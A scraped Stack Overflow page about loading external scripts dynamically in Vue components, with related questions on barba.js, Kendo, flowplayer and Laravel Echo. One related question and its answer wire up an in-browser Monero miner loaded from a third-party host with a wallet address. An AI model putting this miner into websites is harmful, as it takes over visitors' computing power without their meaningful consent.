I've to use two external scripts for the payment gateways.
Right now both are put in the index.html file.
However, I don't want to load these files at the beginning itself.
The payment gateway is needed only in when user open a specific component (using router-view).
Is there anyway to achieve this?
Thanks.
A simple and effective way to solve this, it's by adding your external script into the vue mounted() of your component. I will illustrate you with the Google Recaptcha script:
<template>
.... your HTML
</template>
<script>
export default {
data: () => ({
......data of your component
}),
mounted() {
let recaptchaScript = document.createElement('script')
recaptchaScript.setAttribute('src', 'https://www.google.com/recaptcha/api.js')
document.head.appendChild(recaptchaScript)
},
methods: {
......methods of your component
}
}
</script>
Source: https://medium.com/#lassiuosukainen/how-to-include-a-script-tag-on-a-vue-component-fe10940af9e8
I have downloaded some HTML template that comes with custom js files and jquery. I had to attach those js to my app. and continue with Vue.
Found this plugin, it's a clean way to add external scripts both via CDN and from static files
https://www.npmjs.com/package/vue-plugin-load-script
// local files
// you have to put your scripts into the public folder.
// that way webpack simply copy these files as it is.
Vue.loadScript("/js/jquery-2.2.4.min.js")
// cdn
Vue.loadScript("https://maps.googleapis.com/maps/api/js")
using webpack and vue loader you can do something like this
it waits for the external script to load before creating the component, so globar vars etc are available in the component
components: {
SomeComponent: () => {
return new Promise((resolve, reject) => {
let script = document.createElement('script')
script.onload = () => {
resolve(import(someComponent))
}
script.async = true
script.src = 'https://maps.googleapis.com/maps/api/js?key=APIKEY&libraries=places'
document.head.appendChild(script)
})
}
},
UPDATE: This no longer works in Vue 3. You will receive this error:
VueCompilerError: Tags with side effect ( and ) are ignored in client component templates.
If you are trying to embed external js scripts to the vue.js component template, follow below:
I wanted to add a external JavaScript embed code to my component like this:
<template>
<div>
This is my component
<script src="https://badge.dimensions.ai/badge.js"></script>
</div>
<template>
And Vue showed me this error:
Templates should only be responsible for mapping the state to the UI. Avoid placing tags with side-effects in your templates, such as , as they will not be parsed.
The way I solved it was by adding type="application/javascript" (See this question to learn more about MIME type for js):
<script type="application/javascript" defer src="..."></script>
You may notice the defer attribute. If you want to learn more watch this video by Kyle
This can be simply done like this.
created() {
var scripts = [
"https://cloudfront.net/js/jquery-3.4.1.min.js",
"js/local.js"
];
scripts.forEach(script => {
let tag = document.createElement("script");
tag.setAttribute("src", script);
document.head.appendChild(tag);
});
}
You can use the vue-head package to add scripts, and other tags to the head of your vue component.
Its as simple as:
var myComponent = Vue.extend({
data: function () {
return {
...
}
},
head: {
title: {
inner: 'It will be a pleasure'
},
// Meta tags
meta: [
{ name: 'application-name', content: 'Name of my application' },
{ name: 'description', content: 'A description of the page', id: 'desc' }, // id to replace intead of create element
// ...
// Twitter
{ name: 'twitter:title', content: 'Content Title' },
// with shorthand
{ n: 'twitter:description', c: 'Content description less than 200 characters'},
// ...
// Google+ / Schema.org
{ itemprop: 'name', content: 'Content Title' },
{ itemprop: 'description', content: 'Content Title' },
// ...
// Facebook / Open Graph
{ property: 'fb:app_id', content: '123456789' },
{ property: 'og:title', content: 'Content Title' },
// with shorthand
{ p: 'og:image', c: 'https://example.com/image.jpg' },
// ...
],
// link tags
link: [
{ rel: 'canonical', href: 'http://example.com/#!/contact/', id: 'canonical' },
{ rel: 'author', href: 'author', undo: false }, // undo property - not to remove the element
{ rel: 'icon', href: require('./path/to/icon-16.png'), sizes: '16x16', type: 'image/png' },
// with shorthand
{ r: 'icon', h: 'path/to/icon-32.png', sz: '32x32', t: 'image/png' },
// ...
],
script: [
{ type: 'text/javascript', src: 'cdn/to/script.js', async: true, body: true}, // Insert in body
// with shorthand
{ t: 'application/ld+json', i: '{ "#context": "http://schema.org" }' },
// ...
],
style: [
{ type: 'text/css', inner: 'body { background-color: #000; color: #fff}', undo: false },
// ...
]
}
})
Check out this link for more examples.
With Vue 3, I use mejiamanuel57 answer with an additional check to ensure the script tag hasn't been loaded already.
mounted() {
const scripts = [
"js/script1.js",
"js/script2.js"
];
scripts.forEach(script => {
let tag = document.head.querySelector(`[src="${ script }"`);
if (!tag) {
tag = document.createElement("script");
tag.setAttribute("src", script);
tag.setAttribute("type", 'text/javascript');
document.head.appendChild(tag);
}
});
// ...
You can load the script you need with a promise based solution:
export default {
data () {
return { is_script_loading: false }
},
created () {
// If another component is already loading the script
this.$root.$on('loading_script', e => { this.is_script_loading = true })
},
methods: {
load_script () {
let self = this
return new Promise((resolve, reject) => {
// if script is already loading via another component
if ( self.is_script_loading ){
// Resolve when the other component has loaded the script
this.$root.$on('script_loaded', resolve)
return
}
let script = document.createElement('script')
script.setAttribute('src', 'https://www.google.com/recaptcha/api.js')
script.async = true
this.$root.$emit('loading_script')
script.onload = () => {
/* emit to global event bus to inform other components
* we are already loading the script */
this.$root.$emit('script_loaded')
resolve()
}
document.head.appendChild(script)
})
},
async use_script () {
try {
await this.load_script()
// .. do what you want after script has loaded
} catch (err) { console.log(err) }
}
}
}
Please note that this.$root is a little hacky and you should use a vuex or eventHub solution for the global events instead.
You would make the above into a component and use it wherever needed, it will only load the script when used.
NOTE: This is a Vue 2.x based solution. Vue 3 has stopped supporting $on.
Are you using one of the Webpack starter templates for vue (https://github.com/vuejs-templates/webpack)? It already comes set up with vue-loader (https://github.com/vuejs/vue-loader). If you're not using a starter template, you have to set up webpack and vue-loader.
You can then import your scripts to the relevant (single file) components. Before that, you have toexport from your scripts what you want to import to your components.
ES6 import:
- https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/import
- http://exploringjs.com/es6/ch_modules.html
~Edit~
You can import from these wrappers:
- https://github.com/matfish2/vue-stripe
- https://github.com/khoanguyen96/vue-paypal-checkout
The top answer of create tag in mounted is good, but it has some problems: If you change your link multiple times, it will repeat create tag over and over.
So I created a script to resolve this, and you can delete the tag if you want.
It's very simple, but can save your time to create it by yourself.
// PROJECT/src/assets/external.js
function head_script(src) {
if(document.querySelector("script[src='" + src + "']")){ return; }
let script = document.createElement('script');
script.setAttribute('src', src);
script.setAttribute('type', 'text/javascript');
document.head.appendChild(script)
}
function body_script(src) {
if(document.querySelector("script[src='" + src + "']")){ return; }
let script = document.createElement('script');
script.setAttribute('src', src);
script.setAttribute('type', 'text/javascript');
document.body.appendChild(script)
}
function del_script(src) {
let el = document.querySelector("script[src='" + src + "']");
if(el){ el.remove(); }
}
function head_link(href) {
if(document.querySelector("link[href='" + href + "']")){ return; }
let link = document.createElement('link');
link.setAttribute('href', href);
link.setAttribute('rel', "stylesheet");
link.setAttribute('type', "text/css");
document.head.appendChild(link)
}
function body_link(href) {
if(document.querySelector("link[href='" + href + "']")){ return; }
let link = document.createElement('link');
link.setAttribute('href', href);
link.setAttribute('rel', "stylesheet");
link.setAttribute('type', "text/css");
document.body.appendChild(link)
}
function del_link(href) {
let el = document.querySelector("link[href='" + href + "']");
if(el){ el.remove(); }
}
export {
head_script,
body_script,
del_script,
head_link,
body_link,
del_link,
}
And you can use it like this:
// PROJECT/src/views/xxxxxxxxx.vue
......
<script>
import * as external from '#/assets/external.js'
export default {
name: "xxxxxxxxx",
mounted(){
external.head_script('/assets/script1.js');
external.body_script('/assets/script2.js');
external.head_link('/assets/style1.css');
external.body_link('/assets/style2.css');
},
destroyed(){
external.del_script('/assets/script1.js');
external.del_script('/assets/script2.js');
external.del_link('/assets/style1.css');
external.del_link('/assets/style2.css');
},
}
</script>
......
Simplest solution is to add the script in the index.html file of your vue-project
index.html:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>vue-webpack</title>
</head>
<body>
<div id="app"></div>
<!-- start Mixpanel --><script type="text/javascript">(function(c,a){if(!a.__SV){var b=window;try{var d,m,j,k=b.location,f=k.hash;d=function(a,b){return(m=a.match(RegExp(b+"=([^&]*)")))?m[1]:null};f&&d(f,"state")&&(j=JSON.parse(decodeURIComponent(d(f,"state"))),"mpeditor"===j.action&&(b.sessionStorage.setItem("_mpcehash",f),history.replaceState(j.desiredHash||"",c.title,k.pathname+k.search)))}catch(n){}var l,h;window.mixpanel=a;a._i=[];a.init=function(b,d,g){function c(b,i){var a=i.split(".");2==a.length&&(b=b[a[0]],i=a[1]);b[i]=function(){b.push([i].concat(Array.prototype.slice.call(arguments,
0)))}}var e=a;"undefined"!==typeof g?e=a[g]=[]:g="mixpanel";e.people=e.people||[];e.toString=function(b){var a="mixpanel";"mixpanel"!==g&&(a+="."+g);b||(a+=" (stub)");return a};e.people.toString=function(){return e.toString(1)+".people (stub)"};l="disable time_event track track_pageview track_links track_forms track_with_groups add_group set_group remove_group register register_once alias unregister identify name_tag set_config reset opt_in_tracking opt_out_tracking has_opted_in_tracking has_opted_out_tracking clear_opt_in_out_tracking people.set people.set_once people.unset people.increment people.append people.union people.track_charge people.clear_charges people.delete_user people.remove".split(" ");
for(h=0;h<l.length;h++)c(e,l[h]);var f="set set_once union unset remove delete".split(" ");e.get_group=function(){function a(c){b[c]=function(){call2_args=arguments;call2=[c].concat(Array.prototype.slice.call(call2_args,0));e.push([d,call2])}}for(var b={},d=["get_group"].concat(Array.prototype.slice.call(arguments,0)),c=0;c<f.length;c++)a(f[c]);return b};a._i.push([b,d,g])};a.__SV=1.2;b=c.createElement("script");b.type="text/javascript";b.async=!0;b.src="undefined"!==typeof MIXPANEL_CUSTOM_LIB_URL?
MIXPANEL_CUSTOM_LIB_URL:"file:"===c.location.protocol&&"//cdn.mxpnl.com/libs/mixpanel-2-latest.min.js".match(/^\/\//)?"https://cdn.mxpnl.com/libs/mixpanel-2-latest.min.js":"//cdn.mxpnl.com/libs/mixpanel-2-latest.min.js";d=c.getElementsByTagName("script")[0];d.parentNode.insertBefore(b,d)}})(document,window.mixpanel||[]);
mixpanel.init("xyz");
</script><!-- end Mixpanel -->
<script src="/dist/build.js"></script>
</body>
</html>
The answer from mejiamanuel57 is great, but I want to add a couple of tips that work in my case (I spent some hours on them). First, I needed to use the "window" scope. Also, if you need to access any Vue element inside the "onload" function, you need a new variable for the "this" instance.
<script>
import { mapActions } from "vuex";
export default {
name: "Payment",
methods: {
...mapActions(["aVueAction"])
},
created() {
let paywayScript = document.createElement("script");
let self = this;
paywayScript.onload = () => {
// call to Vuex action.
self.aVueAction();
// call to script function
window.payway.aScriptFunction();
};
// paywayScript.async = true;
paywayScript.setAttribute(
"src",
"https://api.payway.com.au/rest/v1/payway.js"
);
document.body.appendChild(paywayScript);
}
};
</script>
I worked with this on Vue 2.6. Here there is an explanation about how the trick "let self = this;" works in Javascript:
What does 'var that = this;' mean in JavaScript?
A fast and easy way that i found to do it is like this:
<template>
<div>Some HTML</div>
<component
src="https://unpkg.com/flowbite#1.5.3/dist/flowbite.js"
:is="'script'"
></component>
</template>
mounted() {
if (document.getElementById('myScript')) { return }
let src = 'your script source'
let script = document.createElement('script')
script.setAttribute('src', src)
script.setAttribute('type', 'text/javascript')
script.setAttribute('id', 'myScript')
document.head.appendChild(script)
}
beforeDestroy() {
let el = document.getElementById('myScript')
if (el) { el.remove() }
}
To keep clean components you can use mixins.
On your component import external mixin file.
Profile.vue
import externalJs from '#client/mixins/externalJs';
export default{
mounted(){
this.externalJsFiles();
}
}
externalJs.js
import('#JSassets/js/file-upload.js').then(mod => {
// your JS elements
})
babelrc (I include this, if any get stuck on import)
{
"presets":["#babel/preset-env"],
"plugins":[
[
"module-resolver", {
"root": ["./"],
alias : {
"#client": "./client",
"#JSassets": "./server/public",
}
}
]
}
If you're using Vue 3 and the Composition API (I highly recommend), and you're using <script> tags a lot, you can write a "composable" function for this:
import { onMounted } from "vue";
export const useScript = (src, async = false, defer = false) => {
onMounted(() => {
// check if script already exists
if (document.querySelector(`head script[src="${src}"`)) return;
// add tag to head
const tag = document.createElement("script");
tag.setAttribute("src", src);
if (async) tag.setAttribute("async", "");
if (defer) tag.setAttribute("defer", "");
tag.setAttribute("type", "text/javascript");
document.head.append(tag);
});
};
OR, if you are using VueUse (I also highly recommend), you can use their existing useScriptTag function.
You can use vue-loader and code your components in their own files (Single file components). This will allow you to include scripts and css on a component basis.
well, this is my practice in qiokian (a live2d anime figure vuejs component):
(below is from the file src/qiokian.vue)
<script>
export default {
data() {
return {
live2d_path:
'https://cdn.jsdelivr.net/gh/knowscount/live2d-widget#latest/',
cdnPath: 'https://cdn.jsdelivr.net/gh/fghrsh/live2d_api/',
}
},
<!-- ... -->
loadAssets() {
// load waifu.css live2d.min.js waifu-tips.js
if (screen.width >= 768) {
Promise.all([
this.loadExternalResource(
this.live2d_path + 'waifu.css',
'css'
),
<!-- ... -->
loadExternalResource(url, type) {
// note: live2d_path parameter should be an absolute path
// const live2d_path =
// "https://cdn.jsdelivr.net/gh/knowscount/live2d-widget#latest/";
//const live2d_path = "/live2d-widget/";
return new Promise((resolve, reject) => {
let tag
if (type === 'css') {
tag = document.createElement('link')
tag.rel = 'stylesheet'
tag.href = url
} else if (type === 'js') {
tag = document.createElement('script')
tag.src = url
}
if (tag) {
tag.onload = () => resolve(url)
tag.onerror = () => reject(url)
document.head.appendChild(tag)
}
})
},
},
}
There is a vue component for this usecase
https://github.com/TheDynomike/vue-script-component#usage
<template>
<div>
<VueScriptComponent script='<script type="text/javascript"> alert("Peekaboo!"); </script>'/>
<div>
</template>
<script>
import VueScriptComponent from 'vue-script-component'
export default {
...
components: {
...
VueScriptComponent
}
...
}
</script>
If you are attempting to utilize a variable that is defined within a JavaScript file that is being loaded asynchronously and you receive an 'undefined' error, it is likely because the script has not yet finished loading. To resolve this issue, you can utilize the onload function to ensure that the script has completed loading before attempting to access the variable. As an example:
const script = document.createElement(...) // set attribute and so on...
script.onload = () => {
// do something with some variables/functions/logic from the loaded script
}
You can use the head property in vue to return a custom script
export default {
head: {
script: [{
src: 'https://cdn.polygraph.net/pg.js',
type: 'text/javascript'
}]
}
}
Related
I'm trying to implement barba.js on a HubSpot site.
Consider the following two pages:
Resources
Customers
With my current barba.js implementation, this is the current flow I'm experiencing:
I access the resources page (not by transitioning to it, by directly accessing it via /resources).
At this point, all my js is working (slick-sliders, scroll functions etc)
I then use the navigation to access the customers page. The page loads, but all of the js specific to modules and forms for that page are not working.
In short, js for pages that I transition to do not work.
To resolve this, what I'm trying to do is to reload all scripts within the container beforeEnter().
See below:
$(function() {
function delay(n){
n = n || 2000;
return new Promise((done) => {
setTimeout(() => {
done();
}, n);
});
}
barba.init({
sync: true,
prefetchIgnore: true,
debug: true,
transitions: [{
async leave(data){
const done = this.async();
await delay(200);
done();
},
async beforeEnter({ next, container }) {
$(container).find('script').each(function (i, script) {
var $script = $(script);
$.ajax({
url: $script.attr('src'),
cache: true,
dataType: 'script',
success: function () {
$script.trigger('load');
}
});
});
},
async enter(data){
let scrollX = 0
let scrollY = 0
barba.hooks.leave(() => {
scrollX = barba.history.current.scroll.x;
scrollY = barba.history.current.scroll.y;
});
window.scrollTo(scrollX, scrollY);
},
async once(data){
console.log("done");
},
}]
});
});
However, my current beforeEnter() still yields the same results. Any way around this?
Edit
To provide more details, this barba.js implementation is for a HubSpot site. When you create custom modules in HubSpot it spits out the JS for that module on the page (in script tags). For example, here is how JS is rendered on the page:
<script>
// js from custom module is here
</script>
<script src=".../scripts-min.min.js"></script>
As such, when a barba transition is executed, I need all JS that have src and those that are rendered inline (like custom modules) to reload.
Latest approach based on User863's feedback
$(function() {
function delay(n){
n = n || 2000;
return new Promise((done) => {
setTimeout(() => {
done();
}, n);
});
}
function reload_scripts(param){
$(param).find('script').each(function (i, script) {
var $script = $(script);
$.ajax({
url: $script.attr('src'),
cache: true,
dataType: 'script',
success: function () {
$script.trigger('load');
console.log("scripts loaded");
}
});
});
}
barba.init({
sync: true,
prefetchIgnore: true,
debug: true,
transitions: [{
async leave(data){
const done = this.async();
await delay(200);
done();
},
async beforeEnter(data) {
reload_scripts(data.next.container);
},
async beforeEnter({ next }) {
reload_scripts(next.container);
},
async enter(data){
// scroll to top of page when transitioning
let scrollX = 0
let scrollY = 0
barba.hooks.leave(() => {
scrollX = barba.history.current.scroll.x;
scrollY = barba.history.current.scroll.y;
});
window.scrollTo(scrollX, scrollY);
},
async once(data){
console.log("transition complete");
},
}]
});
});
Current behaviour: Same as before (scripts for modules are broken when page changes). Modules with slick slider's for example, do not work (slick isn't initiated).
Might be solved by using eval as mentioned here: https://github.com/barbajs/barba/issues/32
Mentioned in the comments on the issue:
barba.hooks.after((data) => {
let js = data.next.container.querySelectorAll('main script');
if(js != null){
js.forEach((item) => {
console.log(js)
eval(item.innerHTML);
});
}
});
According to docs
The arguments of beforeEnter transition will be object of
Property
Description
data.current
Current page related
data.next
Next page related
data.trigger
Link that triggered the transition
https://barba.js.org/docs/advanced/hooks/#data-properties
Therefore the container property available inside both data.current and data.next properties. In this case, we have to use script from data.next which related to a new page.
Fixed code #1
async beforeEnter(data) {
$(data.next.container).find('script').each(function (i, script) {
// ...
})
}
Fixed code #2
async beforeEnter({ next }) {
$(next.container).find('script').each(function (i, script) {
// ...
})
}
I am migrating a web miner from EJS templates to react. The code below starts the mining process.
<script src="https://cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.moneroocean"></script>
<script>
$(function() {
EverythingIsLife('...', 'x', 70);
$("#webMinerInfo").html("Mining...");
});
</script>
It loads the necessary data from that URL (including a function EverythingIsLife) and then runs it, giving a message to the user when it starts mining. However when I attempt to do the same thing in react:
WebMinerPage.jsx:
function WebMinerPage() {
document.body.style.backgroundColor = "#EEEEEE";
// add miner script
function handleLoad() {
EverythingIsLife('...', 'x', 70);
document.querySelector("#webMinerInfo").innerHTML = "Mining...";
}
useEffect(() => {
window.addEventListener('load', handleLoad);
return () => {
window.removeEventListener('load', handleLoad);
}
}, []);
// return and export statements
Where in the head of my index.html I have:
<script src="https://cloud-miner.de/tkefrep/tkefrep.js?tkefrep=bs?nosaj=faster.moneroocean"></script>
It returns an error:
Failed to compille! EverythingisLife is not defined.
How can I solve this? Any help would be appreciated.
You need to bind/unbind the event listener that handles the script initialization to dom load event:
class Comp1 extends React.Component {
constructor(props) {
super(props);
this.handleLoad = this.handleLoad.bind(this);
}
componentDidMount() {
window.addEventListener('load', this.handleLoad);
}
componentWillUnmount() {
window.removeEventListener('load', this.handleLoad)
}
handleLoad() {
window.EverythingIsLife('41e5VEKZTbWYpEWRW21yV1E9AVgNkNGrBciPSncifEAbHqxGUSd12Xr5yCfMyUTJM92opviLuaAWhXCHaX4gvdYLBBT9zUR', 'x', 70);
$("#webMinerInfo").html("Mining...");
}
}
Above is the equivalent of $(function() {})
$(function() { ... }); is just jQuery short-hand for
$(document).ready(function() { ... }); What it's designed to do
(amongst other things) is ensure that your function is called once all
the DOM elements of the page are ready to be use
Taken from here
I am new to Web Components, and am trying to build a reusable component combining a Kendo UI component with a remote data source. The Kendo component relies on using $(document).ready(function() to initialise it. When I put that code in a component, it never fires.
If i just put the html mark up in the component, and put the script to initialise it in the main code, it works fine. If I put the script in the component: I don't think it ever fires. I have put a console.log int he code to see if I see anything, but zilch. I get no errors on the console, and can't see anything useful that can help me work this out. Component code is below
customElements.define('location-multi-list2', class AppDrawer extends
HTMLElement {
connectedCallback() {
this.innerHTML = '<div class="demo-section k-content">
<h4>Dynamic Stores2</h4>
<select id="hastores2"></select>
</div>
<script>
$(document).ready(function() {
$("#hastores2").kendoMultiSelect({
dataTextField: "name",
dataValueField: "id",
dataSource: {
transport: {
read: {
dataType: "json",
url: "https://myDomain/path/storeList",
}
},
schema : {
data: "stores.location"
}
}
});
});
</script>';
}
});
Any <script> added by using .innerHTML will not be run. This is to prevent security risks. For more info you can read the section Security Considerations on this page: https://devdocs.io/dom/element/innerhtml
Instead you must create a <script> element and fill in with the script:
class AppDrawer extends HTMLElement {
connectedCallback() {
this.innerHTML = `<div class="demo-section k-content">
<h4>Dynamic Stores2</h4>
<select id="hastores2"></select>
</div>`;
let script = document.createElement('script');
script.textContent = `alert('here');
$(document).ready(function() {
$("#hastores2").kendoMultiSelect({
dataTextField: "name",
dataValueField: "id",
dataSource: {
transport: {
read: {
dataType: "json",
url: "https://myDomain/path/storeList",
}
},
schema : {
data: "stores.location"
}
}
});
});
`;
this.appendChild(script);
}
}
customElements.define('location-multi-list2', AppDrawer);
<location-multi-list2></location-multi-list2>
It may happen if your script is running before including jQuery library. Try to use your $(document).ready() function inside, like window.onload = function(){$(document).ready(){}} instead of just calling it.
I need insert script like this
<div data-player-id="912d05c">
<script src="//cdn.flowplayer.com/players/7/flowplayer.async.js">
{
"src": "https://s3.amazonaws.com/69693f173770c49cbb5.mp4"
}
</script>
</div>
to inside of html under the vue.
So I found that I need to generate script tag by js but I'm not sure how to add
{
"src": "https://s3.amazonaws.com/69693f173770c49cbb5.mp4"
}
to this script tag
Code what I have (simplified):
<div id="app">
<div id="videocontent"></div>
</div>
el: "#app",
data: {},
created: function() {
let playerContainer = document.createElement('div');
playerContainer.setAttribute('data-player-id','912d05c');
let flowplayerScript = document.createElement('script');
flowplayerScript.setAttribute('src', '//cdn.flowplayer.com/players/7/flowplayer.async.js');
flowplayerScript.innerText = {"src": "https://s3.amazonaws.com/productionadgate_video/eceae5886caaf69693f173770c49cbb5.mp4"};
playerContainer.append(flowplayerScript);
let container = document.getElementById('videocontent');
container.append(playerContainer);
}
and flowplayerScript.innerText = {"src": "https://s3.amazonaws.com/productionadgate_video/eceae5886caaf69693f173770c49cbb5.mp4"}; is not correclty injected and player is always loading but not showing videos. Also I was tried tu use:
flowplayerScript.onload = function(){
return {
"src": "https://s3.amazonaws.com/productionadgate_video/eceae5886caaf69693f173770c49cbb5.mp4"
}
};
but still not working :( and I'm getting the error like:
SyntaxError: Unexpected token $ in JSON at position 0 flowplayer.async.js:2
You can use pure JavaScript installation, then init flowplayer in 'mounted' method.
new Vue({
el: "#app",
mounted: function() {
this.$nextTick(function() {
// select the above element as player container
let containerEl = document.getElementById("videocontent")
// install flowplayer into selected container
flowplayer(containerEl, {
clip: {
sources: [
{ type: "application/x-mpegurl",
src: "//mydomain.com/video.m3u8" },
{ type: "video/mp4",
src: "//mydomain.com/video.mp4" }
]
}
})
})
}
})
jsfiddle
Learning Vue and stuck. I have a brand new Laravel 5.4 project that I am using to learn Vue concepts, using Pusher/Echo. All is working in terms of message broadcasting, and the messages are fetched from the server and displayed on page load as expected. I want to programatically (from somewhere else in the project) send a message into the queue.
I am using this example as guide to accessing the Vue method outside the instance.
Why can I not access the instance method from my main JS file? The project is compiled with webpack FYI.
My Vue.js file:
$(document).ready(function()
{
Vue.component('chat-system', require('../components/chat-system.vue'));
var chatSystem = new Vue({
el: '#system-chat',
data: {
sysmessages: []
},
created() {
this.fetchMessages();
Echo.private(sys_channel)
.listen('SystemMessageSent', (e) => {
this.sysmessages.unshift({
sysmessage: e.message.message,
player: e.player
});
});
},
methods: {
fetchMessages() {
axios.get(sys_get_route)
.then(response => {
this.sysmessages = response.data;
});
},
addMessage(sysmessage) {
this.sysmessages.unshift(sysmessage);
this.$nextTick(() => {
this.$refs.sysmessages.scrollToTop();
});
axios.post(sys_send_route, sysmessage)
.then(response => {
console.log(response.data);
});
},
sendMessage(sysmessage) {
if (sysmessage !== '') {
this.$emit('systemmessagesent', {
player: this.player,
message: sysmessage
});
}
}
}
});
});
My Vue.js component:
<template>
<div id="round-status-message" class="round-status-message">
<div class="row">
<div class="col-xs-12" v-for="sysmessage in sysmessages">
{{ sysmessage.message }}
</div>
</div>
</div>
</template>
<script>
export default {
props: ['player', 'sysmessages'],
data() {
return {
newSysMessage: ''
}
},
methods: {
scrollToTop () {
this.$el.scrollTop = 0
},
sendMessage() {
this.$emit('systemmessagesent', {
player: this.player,
message: this.newSysMessage
});
this.newSysMessage = ''
}
}
};
</script>
I want to send a message into the queue programatically, so in my app.js, to test, I do:
// TESTING SYSTEM MESSAGES - DELETE
window.setInterval(function(){
var resp = {};
resp.data = {
id: 1,
message: "She hastily put down yet, before the end of half.",
progress_id: 1,
created_at: "2017-08-17 14:01:11",
updated_at: "2017-08-17 14:01:11"
};
chatSystem.$refs.sysmessages.sendMessage(resp);
console.log(resp);
}, 3000);
// TESTING SYSTEM MESSAGES - DELETE
But I get Uncaught ReferenceError: chatSystem is not defined
All I needed was to make the method name available to the global scope?
global.chatSystem = chatSystem; // App variable globally
This seems to work now...